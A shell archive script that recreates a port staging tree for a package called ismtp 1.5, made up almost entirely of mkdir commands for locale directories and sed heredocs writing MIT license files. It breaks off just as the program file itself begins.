mkdir -p ismtp/work/stage/usr/local/share/locale/zh_CN > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_CN/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/zh_CN/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mn mkdir -p ismtp/work/stage/usr/local/share/locale/mn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mn/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/mn/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/emacs mkdir -p ismtp/work/stage/usr/local/share/emacs > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/emacs/site-lisp mkdir -p ismtp/work/stage/usr/local/share/emacs/site-lisp > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/xml mkdir -p ismtp/work/stage/usr/local/share/xml > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/sgml mkdir -p ismtp/work/stage/usr/local/share/sgml > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/dict mkdir -p ismtp/work/stage/usr/local/share/dict > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/examples mkdir -p ismtp/work/stage/usr/local/share/examples > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls mkdir -p ismtp/work/stage/usr/local/share/nls > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_NL.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_NL.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_FR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_FR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_BE.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_BE.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/tr_TR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/tr_TR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/uk_UA.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/uk_UA.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hu_HU.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/hu_HU.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/is_IS.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/is_IS.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_NZ.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/en_NZ.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_CA.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/en_CA.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CA.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CA.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_TW.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_TW.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_CH.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/it_CH.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_AT.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/de_AT.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/lt_LT.ISO8859-13 mkdir -p ismtp/work/stage/usr/local/share/nls/lt_LT.ISO8859-13 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hy_AM.ARMSCII-8 mkdir -p ismtp/work/stage/usr/local/share/nls/hy_AM.ARMSCII-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hr_HR.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/hr_HR.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CA.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CA.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ro_RO.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/ro_RO.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_AU.US-ASCII mkdir -p ismtp/work/stage/usr/local/share/nls/en_AU.US-ASCII > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/bg_BG.CP1251 mkdir -p ismtp/work/stage/usr/local/share/nls/bg_BG.CP1251 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sv_SE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/sv_SE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_TW.Big5 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_TW.Big5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/da_DK.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/da_DK.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/is_IS.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/is_IS.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_AT.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/de_AT.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_CN.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_CN.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/af_ZA.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/af_ZA.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/af_ZA.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/af_ZA.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_BE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_BE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_DE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/de_DE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/be_BY.CP1131 mkdir -p ismtp/work/stage/usr/local/share/nls/be_BY.CP1131 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sr_YU.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/sr_YU.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fi_FI.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/fi_FI.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/is_IS.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/is_IS.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CH.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CH.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CH.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CH.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hu_HU.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/hu_HU.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_NZ.US-ASCII mkdir -p ismtp/work/stage/usr/local/share/nls/en_NZ.US-ASCII > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/lt_LT.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/lt_LT.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_GB.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/en_GB.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_IT.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/it_IT.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_BE.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_BE.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/be_BY.ISO8859-5 mkdir -p ismtp/work/stage/usr/local/share/nls/be_BY.ISO8859-5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_NL.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_NL.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ca_ES.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/ca_ES.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_CH.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/it_CH.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ja_JP.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/ja_JP.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_IT.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/it_IT.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/am_ET.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/am_ET.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sv_SE.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/sv_SE.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/no_NO.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/no_NO.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CA.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CA.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_NL.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_NL.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_GB.US-ASCII mkdir -p ismtp/work/stage/usr/local/share/nls/en_GB.US-ASCII > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/tr_TR.ISO8859-9 mkdir -p ismtp/work/stage/usr/local/share/nls/tr_TR.ISO8859-9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/cs_CZ.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/cs_CZ.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pt_BR.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/pt_BR.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/be_BY.CP1251 mkdir -p ismtp/work/stage/usr/local/share/nls/be_BY.CP1251 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ja_JP.SJIS mkdir -p ismtp/work/stage/usr/local/share/nls/ja_JP.SJIS > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_NZ.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/en_NZ.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/no_NO.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/no_NO.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_BE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_BE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sr_YU.ISO8859-5 mkdir -p ismtp/work/stage/usr/local/share/nls/sr_YU.ISO8859-5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hi_IN.ISCII-DEV mkdir -p ismtp/work/stage/usr/local/share/nls/hi_IN.ISCII-DEV > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ru_RU.KOI8-R mkdir -p ismtp/work/stage/usr/local/share/nls/ru_RU.KOI8-R > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_AT.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/de_AT.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ko_KR.CP949 mkdir -p ismtp/work/stage/usr/local/share/nls/ko_KR.CP949 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_CN.GB18030 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_CN.GB18030 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ca_ES.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/ca_ES.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_GB.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/en_GB.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/bg_BG.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/bg_BG.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/el_GR.ISO8859-7 mkdir -p ismtp/work/stage/usr/local/share/nls/el_GR.ISO8859-7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hr_HR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/hr_HR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/es_ES.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/es_ES.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/no_NO.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/no_NO.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/es_ES.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/es_ES.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_DE.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/de_DE.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pt_BR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/pt_BR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sk_SK.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/sk_SK.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ru_RU.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/ru_RU.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fi_FI.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/fi_FI.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ko_KR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/ko_KR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/cs_CZ.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/cs_CZ.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/C mkdir -p ismtp/work/stage/usr/local/share/nls/C > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_CH.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/de_CH.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_CA.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/en_CA.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_NZ.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_NZ.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_US.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/en_US.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/la_LN.US-ASCII mkdir -p ismtp/work/stage/usr/local/share/nls/la_LN.US-ASCII > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/da_DK.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/da_DK.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_DE.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/de_DE.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ko_KR.eucKR mkdir -p ismtp/work/stage/usr/local/share/nls/ko_KR.eucKR > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_CN.GB2312 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_CN.GB2312 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ru_RU.ISO8859-5 mkdir -p ismtp/work/stage/usr/local/share/nls/ru_RU.ISO8859-5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pl_PL.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/pl_PL.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ca_ES.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/ca_ES.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_CA.US-ASCII mkdir -p ismtp/work/stage/usr/local/share/nls/en_CA.US-ASCII > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_US.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/en_US.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/el_GR.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/el_GR.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/uk_UA.ISO8859-5 mkdir -p ismtp/work/stage/usr/local/share/nls/uk_UA.ISO8859-5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_CH.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/it_CH.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/kk_KZ.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/kk_KZ.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_BE.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_BE.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_CH.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/de_CH.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/de_CH.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/de_CH.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_CN.GBK mkdir -p ismtp/work/stage/usr/local/share/nls/zh_CN.GBK > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ru_RU.CP1251 mkdir -p ismtp/work/stage/usr/local/share/nls/ru_RU.CP1251 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_US.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_US.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_CH.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_CH.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pl_PL.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/pl_PL.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sv_SE.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/sv_SE.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/es_ES.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/es_ES.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ja_JP.eucJP mkdir -p ismtp/work/stage/usr/local/share/nls/ja_JP.eucJP > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_CA.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_CA.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_FR.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_FR.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/et_EE.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/et_EE.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sr_YU.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/sr_YU.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/uk_UA.KOI8-U mkdir -p ismtp/work/stage/usr/local/share/nls/uk_UA.KOI8-U > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/da_DK.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/da_DK.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sl_SI.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/sl_SI.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ru_RU.CP866 mkdir -p ismtp/work/stage/usr/local/share/nls/ru_RU.CP866 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-4 mkdir -p ismtp/work/stage/usr/local/share/nls/la_LN.ISO8859-4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_HK.Big5HKSCS mkdir -p ismtp/work/stage/usr/local/share/nls/zh_HK.Big5HKSCS > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pt_PT.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/pt_PT.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_CN.eucCN mkdir -p ismtp/work/stage/usr/local/share/nls/zh_CN.eucCN > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_AU.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_AU.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_IE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_IE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/zh_HK.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/zh_HK.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/hy_AM.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/hy_AM.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/ro_RO.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/ro_RO.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/kk_KZ.PT154 mkdir -p ismtp/work/stage/usr/local/share/nls/kk_KZ.PT154 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sk_SK.ISO8859-2 mkdir -p ismtp/work/stage/usr/local/share/nls/sk_SK.ISO8859-2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pt_PT.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/pt_PT.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/et_EE.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/et_EE.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/it_IT.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/it_IT.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/be_BY.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/be_BY.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/pt_PT.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/pt_PT.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/sl_SI.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/sl_SI.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fr_FR.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/fr_FR.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/fi_FI.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/fi_FI.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/nl_BE.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/nl_BE.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_AU.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/en_AU.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_AU.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/share/nls/en_AU.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/he_IL.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/he_IL.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/en_GB.UTF-8 mkdir -p ismtp/work/stage/usr/local/share/nls/en_GB.UTF-8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/lt_LT.ISO8859-4 mkdir -p ismtp/work/stage/usr/local/share/nls/lt_LT.ISO8859-4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/nls/af_ZA.ISO8859-15 mkdir -p ismtp/work/stage/usr/local/share/nls/af_ZA.ISO8859-15 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/applications mkdir -p ismtp/work/stage/usr/local/share/applications > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/java mkdir -p ismtp/work/stage/usr/local/share/java > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/java/classes mkdir -p ismtp/work/stage/usr/local/share/java/classes > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/aclocal mkdir -p ismtp/work/stage/usr/local/share/aclocal > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/misc mkdir -p ismtp/work/stage/usr/local/share/misc > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/skel mkdir -p ismtp/work/stage/usr/local/share/skel > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/licenses mkdir -p ismtp/work/stage/usr/local/share/licenses > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/licenses/ismtp-1.5 mkdir -p ismtp/work/stage/usr/local/share/licenses/ismtp-1.5 > /dev/null 2>&1 echo x - ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/LICENSE sed 's/^X//' >ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/LICENSE << 'e6d7efd7afb4bfd110c3b31f5bb01c6b' XThis package has a single license: MIT (MIT license / X11 license). e6d7efd7afb4bfd110c3b31f5bb01c6b echo x - ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/catalog.mk sed 's/^X//' >ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/catalog.mk << '7e03601ab5ddeac40d774b960d56ca2f' X_LICENSE=MIT X_LICENSE_NAME=MIT license / X11 license X_LICENSE_PERMS=dist-mirror dist-sell pkg-mirror pkg-sell auto-accept X_LICENSE_GROUPS=COPYFREE FSF GPL OSI X_LICENSE_DISTFILES=altjx-ipwn-v1.5-32bbc05_GH0.tar.gz 7e03601ab5ddeac40d774b960d56ca2f echo x - ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/MIT sed 's/^X//' >ismtp/work/stage/usr/local/share/licenses/ismtp-1.5/MIT << 'ab8186aa093725bf5b417a5a8e3b6532' XThe license: MIT (MIT license / X11 license) is standard, please Xread from the web. ab8186aa093725bf5b417a5a8e3b6532 echo c - ismtp/work/stage/usr/local/bin mkdir -p ismtp/work/stage/usr/local/bin > /dev/null 2>&1 echo x - ismtp/work/stage/usr/local/bin/ismtp sed 's/^X//' >ismtp/work/stage/usr/local/bin/ismtp << '3a62f574edd6ecfa333f91e87a394216' 